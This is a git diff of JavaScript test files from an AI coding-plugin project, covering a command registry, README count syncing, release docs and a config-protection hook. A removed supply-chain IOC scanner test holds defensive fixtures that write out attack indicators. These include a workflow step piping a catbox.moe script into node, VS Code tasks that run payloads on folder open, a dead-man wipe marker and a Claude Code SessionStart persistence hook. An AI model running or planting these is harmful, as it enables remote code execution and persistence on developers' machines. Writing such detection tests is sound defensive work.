|
||||
assert.deepStrictEqual(registry.commands[1].skills, ['tdd-workflow']);
|
||||
assert.deepStrictEqual(registry.statistics.byType, { review: 1, testing: 1 });
|
||||
assert.deepStrictEqual(registry.statistics.topAgents[0], { agent: 'code-reviewer', count: 1 });
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('write and check modes use stable JSON without timestamps', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
writeFixture(testDir);
|
||||
const outputPath = path.join(testDir, 'docs', 'COMMAND-REGISTRY.json');
|
||||
const registry = generateRegistry({ root: testDir });
|
||||
|
||||
writeRegistry(registry, outputPath);
|
||||
const firstWrite = fs.readFileSync(outputPath, 'utf8');
|
||||
writeRegistry(registry, outputPath);
|
||||
const secondWrite = fs.readFileSync(outputPath, 'utf8');
|
||||
|
||||
assert.strictEqual(firstWrite, secondWrite);
|
||||
assert.ok(!firstWrite.includes('generated'));
|
||||
assert.doesNotThrow(() => checkRegistry(registry, outputPath));
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('check mode fails when the registry file is stale', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
writeFixture(testDir);
|
||||
const outputPath = path.join(testDir, 'docs', 'COMMAND-REGISTRY.json');
|
||||
const registry = generateRegistry({ root: testDir });
|
||||
|
||||
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
|
||||
fs.writeFileSync(outputPath, `${formatRegistry(registry).trimEnd()}\n \n`);
|
||||
|
||||
assert.throws(
|
||||
() => checkRegistry(registry, outputPath),
|
||||
/out of date/
|
||||
);
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('CLI reports unknown arguments and supports check output', () => {
|
||||
const testDir = createTestDir();
|
||||
try {
|
||||
writeFixture(testDir);
|
||||
const outputPath = path.join(testDir, 'docs', 'COMMAND-REGISTRY.json');
|
||||
const registry = generateRegistry({ root: testDir });
|
||||
writeRegistry(registry, outputPath);
|
||||
|
||||
let stdout = '';
|
||||
let stderr = '';
|
||||
const streams = {
|
||||
stdout: { write: chunk => { stdout += chunk; } },
|
||||
stderr: { write: chunk => { stderr += chunk; } },
|
||||
};
|
||||
|
||||
assert.deepStrictEqual(parseArgs(['--json', '--write']), {
|
||||
json: true,
|
||||
write: true,
|
||||
check: false,
|
||||
});
|
||||
assert.strictEqual(run(['--check'], { root: testDir, outputPath, ...streams }), 0);
|
||||
assert.ok(stdout.includes('up to date'));
|
||||
assert.strictEqual(stderr, '');
|
||||
|
||||
stdout = '';
|
||||
stderr = '';
|
||||
assert.strictEqual(run(['--bogus'], { root: testDir, outputPath, ...streams }), 1);
|
||||
assert.strictEqual(stdout, '');
|
||||
assert.ok(stderr.includes('Unknown argument'));
|
||||
} finally {
|
||||
cleanupTestDir(testDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
runTests();
|
||||
@@ -1,303 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Validate the active supply-chain IOC scanner.
|
||||
*/
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawnSync } = require('child_process');
|
||||
|
||||
const SCRIPT_PATH = path.join(__dirname, '..', '..', 'scripts', 'ci', 'scan-supply-chain-iocs.js');
|
||||
const { scanSupplyChainIocs } = require(SCRIPT_PATH);
|
||||
const TANSTACK_SETUP_DEPENDENCY = [
|
||||
'github:tanstack/router#79ac49eedf774dd4b0cf',
|
||||
'a308722bc463cfe5885c',
|
||||
].join('');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` ✓ ${name}`);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` ✗ ${name}`);
|
||||
console.log(` Error: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function withFixture(files, fn) {
|
||||
const rootDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-supply-chain-ioc-'));
|
||||
try {
|
||||
for (const [relativePath, contents] of Object.entries(files)) {
|
||||
const fullPath = path.join(rootDir, relativePath);
|
||||
fs.mkdirSync(path.dirname(fullPath), { recursive: true });
|
||||
fs.writeFileSync(fullPath, contents);
|
||||
}
|
||||
fn(rootDir);
|
||||
} finally {
|
||||
fs.rmSync(rootDir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
function run() {
|
||||
console.log('\n=== Testing supply-chain IOC scanner ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
if (test('passes a clean dependency manifest', () => {
|
||||
withFixture({
|
||||
'package.json': JSON.stringify({ dependencies: { leftpad: '1.0.0' } }, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.deepStrictEqual(result.findings, []);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects known compromised TanStack package versions in lockfiles', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/@tanstack/react-router': {
|
||||
version: '1.169.5',
|
||||
},
|
||||
},
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.match(result.findings[0].indicator, /@tanstack\/react-router@1\.169\.5/);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects expanded Mini Shai-Hulud campaign package versions', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/@opensearch-project/opensearch': {
|
||||
version: '3.5.3',
|
||||
},
|
||||
'node_modules/@squawk/mcp': {
|
||||
version: '0.9.5',
|
||||
},
|
||||
'node_modules/@mistralai/mistralai': {
|
||||
version: '2.2.2',
|
||||
},
|
||||
},
|
||||
}, null, 2),
|
||||
'requirements.txt': [
|
||||
'mistralai==2.4.6',
|
||||
'guardrails-ai==0.10.1',
|
||||
'lightning==2.6.3',
|
||||
].join('\n'),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('@opensearch-project/opensearch@3.5.3'));
|
||||
assert.ok(indicators.includes('@squawk/mcp@0.9.5'));
|
||||
assert.ok(indicators.includes('@mistralai/mistralai@2.2.2'));
|
||||
assert.ok(indicators.includes('mistralai@2.4.6'));
|
||||
assert.ok(indicators.includes('guardrails-ai@0.10.1'));
|
||||
assert.ok(indicators.includes('lightning@2.6.3'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects node-ipc campaign package versions and CJS indicators', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/node-ipc': {
|
||||
version: '12.0.1',
|
||||
},
|
||||
},
|
||||
}, null, 2),
|
||||
'node_modules/node-ipc/package.json': JSON.stringify({
|
||||
name: 'node-ipc',
|
||||
version: '9.2.3',
|
||||
}, null, 2),
|
||||
'node_modules/node-ipc/node-ipc.cjs': [
|
||||
'const host = "sh.azurestaticprovider.net";',
|
||||
'const zone = "bt.node.js";',
|
||||
'process.env.__ntw = "1";',
|
||||
'module.exports.__ntRun = true;',
|
||||
'const archive = "/nt-/sample.tar.gz";',
|
||||
'const entries = ["uname.txt", "envs.txt", "fixtures/_paths.txt"];',
|
||||
].join('\n'),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('node-ipc@12.0.1'));
|
||||
assert.ok(indicators.includes('node-ipc@9.2.3'));
|
||||
assert.ok(indicators.includes('sh.azurestaticprovider.net'));
|
||||
assert.ok(indicators.includes('bt.node.js'));
|
||||
assert.ok(indicators.includes('__ntw'));
|
||||
assert.ok(indicators.includes('__ntRun'));
|
||||
assert.ok(indicators.includes('/nt-'));
|
||||
assert.ok(indicators.includes('fixtures/_paths.txt'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('passes clean versions of watched packages', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/@tanstack/react-router': {
|
||||
version: '1.170.0',
|
||||
},
|
||||
},
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.deepStrictEqual(result.findings, []);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('does not flag benign substrings in clean package scripts', () => {
|
||||
withFixture({
|
||||
'node_modules/uuid/package.json': JSON.stringify({
|
||||
name: 'uuid',
|
||||
version: '9.0.1',
|
||||
scripts: {
|
||||
test: 'BABEL_ENV=commonjsNode node --throw-deprecation node_modules/.bin/jest test/unit/',
|
||||
},
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.deepStrictEqual(result.findings, []);
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects malicious optional dependency markers', () => {
|
||||
withFixture({
|
||||
'package-lock.json': JSON.stringify({
|
||||
packages: {
|
||||
'node_modules/@tanstack/history': {
|
||||
optionalDependencies: {
|
||||
'@tanstack/setup': TANSTACK_SETUP_DEPENDENCY,
|
||||
},
|
||||
},
|
||||
},
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.ok(result.findings.some(finding => finding.indicator === '@tanstack/setup'));
|
||||
assert.ok(result.findings.some(finding => /79ac49/.test(finding.indicator)));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects Claude Code persistence payload references', () => {
|
||||
withFixture({
|
||||
'.claude/settings.json': JSON.stringify({
|
||||
hooks: {
|
||||
SessionStart: [{
|
||||
hooks: [{ command: 'node ~/.claude/router_runtime.js' }],
|
||||
}],
|
||||
},
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'router_runtime.js'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects current dead-drop and import-time payload markers', () => {
|
||||
withFixture({
|
||||
'.vscode/tasks.json': JSON.stringify({
|
||||
tasks: [{
|
||||
label: 'watch',
|
||||
command: 'python3 /tmp/transformers.pyz && node execution.js',
|
||||
runOptions: { runOn: 'folderOpen' },
|
||||
}],
|
||||
}, null, 2),
|
||||
'package.json': JSON.stringify({
|
||||
description: 'Shai-Hulud: Here We Go Again',
|
||||
}, null, 2),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'transformers.pyz'));
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'execution.js'));
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'Shai-Hulud: Here We Go Again'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects dead-man switch and workflow persistence markers', () => {
|
||||
withFixture({
|
||||
'.vscode/tasks.json': JSON.stringify({
|
||||
tasks: [{
|
||||
label: 'monitor',
|
||||
command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
|
||||
runOptions: { runOn: 'folderOpen' },
|
||||
}],
|
||||
}, null, 2),
|
||||
'.github/workflows/codeql_analysis.yml': [
|
||||
'name: codeql_analysis',
|
||||
'on: push',
|
||||
'jobs:',
|
||||
' shai-hulud:',
|
||||
' runs-on: ubuntu-latest',
|
||||
' steps:',
|
||||
' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node',
|
||||
' - run: echo svksjrhjkcejg',
|
||||
' - run: echo OhNoWhatsGoingOnWithGitHub',
|
||||
' - run: echo claude@users.noreply.github.com',
|
||||
' - run: echo dependabout/router/setup-formatter',
|
||||
' - run: echo signalservice snode',
|
||||
].join('\n'),
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner'));
|
||||
assert.ok(indicators.includes('codeql_analysis.yml'));
|
||||
assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js'));
|
||||
assert.ok(indicators.includes('svksjrhjkcejg'));
|
||||
assert.ok(indicators.includes('OhNoWhatsGoingOnWithGitHub'));
|
||||
assert.ok(indicators.includes('claude@users.noreply.github.com'));
|
||||
assert.ok(indicators.includes('dependabout/'));
|
||||
assert.ok(indicators.includes('signalservice'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects user-level Python persistence payloads when home scan is enabled', () => {
|
||||
withFixture({
|
||||
'home/.local/bin/pgmonitor.py': 'print("persistence")',
|
||||
'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py',
|
||||
}, rootDir => {
|
||||
const homeDir = path.join(rootDir, 'home');
|
||||
const result = scanSupplyChainIocs({ rootDir, home: true, homeDir });
|
||||
const indicators = result.findings.map(finding => finding.indicator);
|
||||
assert.ok(indicators.includes('pgmonitor.py'));
|
||||
assert.ok(indicators.includes('pgsql-monitor.service'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('rejects installed payload filenames in node_modules', () => {
|
||||
withFixture({
|
||||
'node_modules/@tanstack/react-router/router_init.js': '/* payload */',
|
||||
'node_modules/@opensearch-project/opensearch/opensearch_init.js': '/* payload */',
|
||||
}, rootDir => {
|
||||
const result = scanSupplyChainIocs({ rootDir });
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'router_init.js'));
|
||||
assert.ok(result.findings.some(finding => finding.indicator === 'opensearch_init.js'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('supports CLI JSON output and non-zero exit on findings', () => {
|
||||
withFixture({
|
||||
'package.json': JSON.stringify({ dependencies: { '@opensearch-project/opensearch': '3.8.0' } }, null, 2),
|
||||
}, rootDir => {
|
||||
const result = spawnSync('node', [SCRIPT_PATH, '--root', rootDir, '--json'], { encoding: 'utf8' });
|
||||
assert.notStrictEqual(result.status, 0);
|
||||
const parsed = JSON.parse(result.stdout);
|
||||
assert.ok(parsed.findings.some(finding => finding.indicator === '@opensearch-project/opensearch@3.8.0'));
|
||||
});
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nPassed: ${passed}`);
|
||||
console.log(`Failed: ${failed}`);
|
||||
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
run();
|
||||
@@ -270,7 +270,7 @@ function writeCatalogFixture(testDir, options = {}) {
|
||||
fs.writeFileSync(path.join(testDir, 'commands', 'plan.md'), '---\ndescription: Plan\n---\n# Plan');
|
||||
fs.writeFileSync(path.join(testDir, 'skills', 'demo-skill', 'SKILL.md'), '---\nname: demo-skill\ndescription: Demo skill\norigin: ECC\n---\n# Demo Skill');
|
||||
|
||||
fs.writeFileSync(readmePath, `Access to ${readmeCounts.agents} agents, ${readmeCounts.skills} skills, and ${readmeCounts.commands} commands.\n- **Public surface synced to the live repo** - metadata, catalog counts, plugin manifests, and install-facing docs now match the actual OSS surface: ${readmeCounts.agents} agents, ${readmeCounts.skills} skills, and ${readmeCounts.commands} legacy command shims.\n|-- agents/ # ${readmeProjectTreeAgents} specialized subagents for delegation\n| Feature | Claude Code | Cursor IDE | Codex CLI | OpenCode |\n|---------|------------|------------|-----------|----------|\n| Agents | PASS: ${readmeTableCounts.agents} agents | Shared | Shared | 1 |\n| Commands | PASS: ${readmeTableCounts.commands} commands | Shared | Shared | 1 |\n| Skills | PASS: ${readmeTableCounts.skills} skills | Shared | Shared | 1 |\n\n| Feature | Count | Format |\n|-----------|-------|---------|\n| Skills | ${readmeUnrelatedSkillsCount} | .agents/skills/ |\n\n## Cross-Tool Feature Parity\n\n| Feature | Claude Code | Cursor IDE | Codex CLI | OpenCode |\n|---------|------------|------------|-----------|----------|\n| **Agents** | ${readmeParityCounts.agents} | Shared (AGENTS.md) | Shared (AGENTS.md) | 12 |\n| **Commands** | ${readmeParityCounts.commands} | Shared | Instruction-based | 31 |\n| **Skills** | ${readmeParityCounts.skills} | Shared | 10 (native format) | 37 |\n`);
|
||||
fs.writeFileSync(readmePath, `Access to ${readmeCounts.agents} agents, ${readmeCounts.skills} skills, and ${readmeCounts.commands} commands.\n|-- agents/ # ${readmeProjectTreeAgents} specialized subagents for delegation\n| Feature | Claude Code | Cursor IDE | Codex CLI | OpenCode |\n|---------|------------|------------|-----------|----------|\n| Agents | PASS: ${readmeTableCounts.agents} agents | Shared | Shared | 1 |\n| Commands | PASS: ${readmeTableCounts.commands} commands | Shared | Shared | 1 |\n| Skills | PASS: ${readmeTableCounts.skills} skills | Shared | Shared | 1 |\n\n| Feature | Count | Format |\n|-----------|-------|---------|\n| Skills | ${readmeUnrelatedSkillsCount} | .agents/skills/ |\n\n## Cross-Tool Feature Parity\n\n| Feature | Claude Code | Cursor IDE | Codex CLI | OpenCode |\n|---------|------------|------------|-----------|----------|\n| **Agents** | ${readmeParityCounts.agents} | Shared (AGENTS.md) | Shared (AGENTS.md) | 12 |\n| **Commands** | ${readmeParityCounts.commands} | Shared | Instruction-based | 31 |\n| **Skills** | ${readmeParityCounts.skills} | Shared | 10 (native format) | 37 |\n`);
|
||||
fs.writeFileSync(agentsPath, `This is a **production-ready AI coding plugin** providing ${summaryCounts.agents} specialized agents, ${summaryCounts.skills} skills, ${summaryCounts.commands} commands, and automated hook workflows for software development.\n\n\`\`\`\n${structureLines.join('\n')}\n\`\`\`\n`);
|
||||
fs.writeFileSync(zhRootReadmePath, `**完成!** 你现在可以使用 ${zhRootReadmeCounts.agents} 个代理、${zhRootReadmeCounts.skills} 个技能和 ${zhRootReadmeCounts.commands} 个命令。\n`);
|
||||
fs.writeFileSync(zhDocsReadmePath, `**搞定!** 你现在可以使用 ${zhDocsReadmeCounts.agents} 个智能体、${zhDocsReadmeCounts.skills} 项技能和 ${zhDocsReadmeCounts.commands} 个命令了。\n| 功能特性 | Claude Code | OpenCode | 状态 |\n|---------|-------------|----------|--------|\n| 智能体 | \u2705 ${zhDocsTableCounts.agents} 个 | \u2705 12 个 | **Claude Code 领先** |\n| 命令 | \u2705 ${zhDocsTableCounts.commands} 个 | \u2705 31 个 | **Claude Code 领先** |\n| 技能 | \u2705 ${zhDocsTableCounts.skills} 项 | \u2705 37 项 | **Claude Code 领先** |\n\n| 功能特性 | 数量 | 格式 |\n|-----------|-------|---------|\n| 技能 | ${zhDocsUnrelatedSkillsCount} | .agents/skills/ |\n\n## 跨工具功能对等\n\n| 功能特性 | Claude Code | Cursor IDE | Codex CLI | OpenCode |\n|---------|------------|------------|-----------|----------|\n| **智能体** | ${zhDocsParityCounts.agents} | 共享 (AGENTS.md) | 共享 (AGENTS.md) | 12 |\n| **命令** | ${zhDocsParityCounts.commands} | 共享 | 基于指令 | 31 |\n| **技能** | ${zhDocsParityCounts.skills} | 共享 | 10 (原生格式) | 37 |\n`);
|
||||
@@ -595,7 +595,6 @@ function runTests() {
|
||||
const marketplaceJson = fs.readFileSync(marketplaceJsonPath, 'utf8');
|
||||
|
||||
assert.ok(readme.includes('Access to 1 agents, 1 skills, and 1 legacy command shims'), 'Should sync README quick-start summary');
|
||||
assert.ok(readme.includes('actual OSS surface: 1 agents, 1 skills, and 1 legacy command shims'), 'Should sync README release-note summary');
|
||||
assert.ok(readme.includes('|-- agents/ # 1 specialized subagents for delegation'), 'Should sync README project tree agents count');
|
||||
assert.ok(readme.includes('| Agents | PASS: 1 agents |'), 'Should sync README comparison table');
|
||||
assert.ok(readme.includes('| Skills | 16 | .agents/skills/ |'), 'Should not rewrite unrelated README tables');
|
||||
|
||||
@@ -1,45 +0,0 @@
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const SKILL_PATH = path.join(__dirname, '..', '..', 'skills', 'canary-watch', 'SKILL.md');
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` \u2713 ${name}`);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` \u2717 ${name}`);
|
||||
console.log(` Error: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function runTests() {
|
||||
console.log('\n=== Testing canary-watch skill docs ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
const body = fs.readFileSync(SKILL_PATH, 'utf8');
|
||||
|
||||
if (test('description monitoring claims are backed by watch sections', () => {
|
||||
for (const phrase of [
|
||||
'HTTP endpoints',
|
||||
'SSE streams',
|
||||
'static assets',
|
||||
'console errors',
|
||||
'performance regressions',
|
||||
]) {
|
||||
assert.ok(body.toLowerCase().includes(phrase.toLowerCase()), `missing phrase: ${phrase}`);
|
||||
}
|
||||
assert.ok(body.includes('Static Assets'), 'watch list should include static assets');
|
||||
assert.ok(body.includes('SSE Streams'), 'watch list should include SSE streams');
|
||||
assert.ok(body.includes('SSE endpoint cannot connect'), 'critical thresholds should cover SSE failures');
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
runTests();
|
||||
@@ -50,7 +50,6 @@ const expectedReleaseFiles = [
|
||||
'telegram-handoff.md',
|
||||
'demo-prompts.md',
|
||||
'quickstart.md',
|
||||
'preview-pack-manifest.md',
|
||||
'publication-readiness.md',
|
||||
];
|
||||
|
||||
@@ -105,10 +104,6 @@ test('release docs do not contain unresolved public-link placeholders', () => {
|
||||
test('business launch copy stays aligned with the rc.1 public surface', () => {
|
||||
const source = read('docs/business/social-launch-copy.md');
|
||||
assert.ok(source.includes('ECC v2.0.0-rc.1'), 'business launch copy should use the rc.1 release');
|
||||
assert.ok(
|
||||
source.includes('preview pack is ready for final release review'),
|
||||
'business launch copy should stay pre-publication until release URLs exist'
|
||||
);
|
||||
assert.ok(
|
||||
source.includes('https://github.com/affaan-m/everything-claude-code'),
|
||||
'business launch copy should include the public repo URL'
|
||||
@@ -123,21 +118,6 @@ test('business launch copy stays aligned with the rc.1 public surface', () => {
|
||||
assert.ok(!source.includes('v1.8.0'), 'business launch copy should not stay pinned to v1.8.0');
|
||||
});
|
||||
|
||||
test('announcement drafts avoid live-release claims before publication', () => {
|
||||
const announcementFiles = [
|
||||
'docs/releases/2.0.0-rc.1/linkedin-post.md',
|
||||
'docs/business/social-launch-copy.md',
|
||||
];
|
||||
|
||||
for (const relativePath of announcementFiles) {
|
||||
const source = read(relativePath);
|
||||
assert.ok(
|
||||
!/ECC v2\.0\.0-rc\.1 is live\./.test(source),
|
||||
`${relativePath} must not claim rc.1 is live before the release gate completes`
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
test('Hermes setup uses release-candidate wording for the rc.1 surface', () => {
|
||||
const source = read('docs/HERMES-SETUP.md');
|
||||
assert.ok(source.includes('Public Release Candidate Scope'));
|
||||
@@ -164,34 +144,6 @@ test('release notes route new contributors through the rc.1 quickstart', () => {
|
||||
assert.ok(releaseNotes.includes('[rc.1 quickstart](quickstart.md)'));
|
||||
});
|
||||
|
||||
test('preview pack manifest assembles release, Hermes, and publication gates', () => {
|
||||
const manifest = read('docs/releases/2.0.0-rc.1/preview-pack-manifest.md');
|
||||
|
||||
for (const artifact of [
|
||||
'docs/HERMES-SETUP.md',
|
||||
'skills/hermes-imports/SKILL.md',
|
||||
'docs/architecture/harness-adapter-compliance.md',
|
||||
'docs/releases/2.0.0-rc.1/publication-readiness.md',
|
||||
'docs/releases/2.0.0-rc.1/naming-and-publication-matrix.md',
|
||||
]) {
|
||||
assert.ok(manifest.includes(artifact), `preview pack manifest missing ${artifact}`);
|
||||
}
|
||||
|
||||
for (const blocker of [
|
||||
'GitHub prerelease `v2.0.0-rc.1`',
|
||||
'npm `ecc-universal@2.0.0-rc.1`',
|
||||
'Claude plugin tag',
|
||||
'Codex plugin publication',
|
||||
'ECC Tools billing/product readiness',
|
||||
]) {
|
||||
assert.ok(manifest.includes(blocker), `preview pack manifest missing blocker ${blocker}`);
|
||||
}
|
||||
|
||||
assert.ok(manifest.includes('no raw workspace exports'));
|
||||
assert.ok(manifest.includes('Final Verification Commands'));
|
||||
assert.ok(manifest.includes('Reference-Inspired Adapter Direction'));
|
||||
});
|
||||
|
||||
test('rc.1 quickstart gives a clone-to-cross-harness path', () => {
|
||||
const quickstart = read('docs/releases/2.0.0-rc.1/quickstart.md');
|
||||
for (const heading of ['Clone', 'Install', 'Verify', 'First Skill', 'Switch Harness']) {
|
||||
@@ -226,7 +178,6 @@ test('launch checklist records the ecc2 alpha version policy', () => {
|
||||
|
||||
test('publication readiness checklist gates public release actions on evidence', () => {
|
||||
const source = read('docs/releases/2.0.0-rc.1/publication-readiness.md');
|
||||
const may15Evidence = read('docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md');
|
||||
|
||||
for (const section of [
|
||||
'## Release Identity Matrix',
|
||||
@@ -260,15 +211,6 @@ test('publication readiness checklist gates public release actions on evidence',
|
||||
]) {
|
||||
assert.ok(source.includes(surface), `publication readiness missing ${surface}`);
|
||||
}
|
||||
|
||||
assert.ok(source.includes('publication-evidence-2026-05-15.md'));
|
||||
assert.ok(may15Evidence.includes('PR #1921'));
|
||||
assert.ok(may15Evidence.includes('AgentShield PR #83'));
|
||||
assert.ok(may15Evidence.includes('| Trunk discussions | GraphQL discussion count and maintainer-touch sweep | 58 total discussions;'));
|
||||
assert.ok(source.includes('58 trunk discussions, 0 without maintainer touch'));
|
||||
assert.ok(may15Evidence.includes('env -u GITHUB_TOKEN'));
|
||||
assert.ok(may15Evidence.includes('ITO-44'));
|
||||
assert.ok(may15Evidence.includes('0 open PRs, 0 open issues'));
|
||||
});
|
||||
|
||||
test('release checklist and roadmap link to publication readiness evidence gate', () => {
|
||||
|
||||
@@ -135,7 +135,7 @@ test('roadmap points to the evaluator RAG prototype and hosted PR check', () =>
|
||||
|
||||
assert.ok(roadmap.includes('docs/architecture/evaluator-rag-prototype.md'));
|
||||
assert.ok(roadmap.includes('examples/evaluator-rag-prototype/'));
|
||||
assert.ok(roadmap.includes('Deterministic hosted PR check, cached output scoring, retrieval planning, judge contract, and gated model execution integrated'));
|
||||
assert.ok(roadmap.includes('Deterministic hosted PR check and cached output scoring integrated; hosted retrieval remains future'));
|
||||
});
|
||||
|
||||
test('billing readiness scenario rejects launch copy overclaims', () => {
|
||||
|
||||
@@ -4,7 +4,6 @@
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawnSync } = require('child_process');
|
||||
|
||||
@@ -71,249 +70,85 @@ function runTests() {
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
if (
|
||||
test('blocks protected config file edits through run-with-flags', () => {
|
||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-config-protect-'));
|
||||
try {
|
||||
const absPath = path.join(tmpDir, '.eslintrc.js');
|
||||
fs.writeFileSync(absPath, 'module.exports = {};');
|
||||
|
||||
const input = {
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: absPath,
|
||||
content: 'module.exports = {};'
|
||||
}
|
||||
};
|
||||
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 2, 'Expected protected config edit to be blocked');
|
||||
assert.strictEqual(result.stdout, '', 'Blocked hook should not echo raw input');
|
||||
assert.ok(result.stderr.includes('BLOCKED: Modifying .eslintrc.js is not allowed.'), `Expected block message, got: ${result.stderr}`);
|
||||
} finally {
|
||||
try {
|
||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
||||
} catch {
|
||||
// best-effort cleanup
|
||||
}
|
||||
if (test('blocks protected config file edits through run-with-flags', () => {
|
||||
const input = {
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: '.eslintrc.js',
|
||||
content: 'module.exports = {};'
|
||||
}
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
};
|
||||
|
||||
if (
|
||||
test('passes through safe file edits unchanged', () => {
|
||||
const input = {
|
||||
tool_name: 'Write',
|
||||
tool_input: {
|
||||
file_path: 'src/index.js',
|
||||
content: 'console.log("ok");'
|
||||
}
|
||||
};
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 2, 'Expected protected config edit to be blocked');
|
||||
assert.strictEqual(result.stdout, '', 'Blocked hook should not echo raw input');
|
||||
assert.ok(result.stderr.includes('BLOCKED: Modifying .eslintrc.js is not allowed.'), `Expected block message, got: ${result.stderr}`);
|
||||
})) passed++; else failed++;
|
||||
|
||||
const rawInput = JSON.stringify(input);
|
||||
const result = runHook(input);
|
||||
assert.strictEqual(result.code, 0, 'Expected safe file edit to pass');
|
||||
assert.strictEqual(result.stdout, rawInput, 'Expected exact raw JSON passthrough');
|
||||
assert.strictEqual(result.stderr, '', 'Expected no stderr for safe edits');
|
||||
})
|
||||
)
|
||||
passed++;
|
||||
else failed++;
|
||||
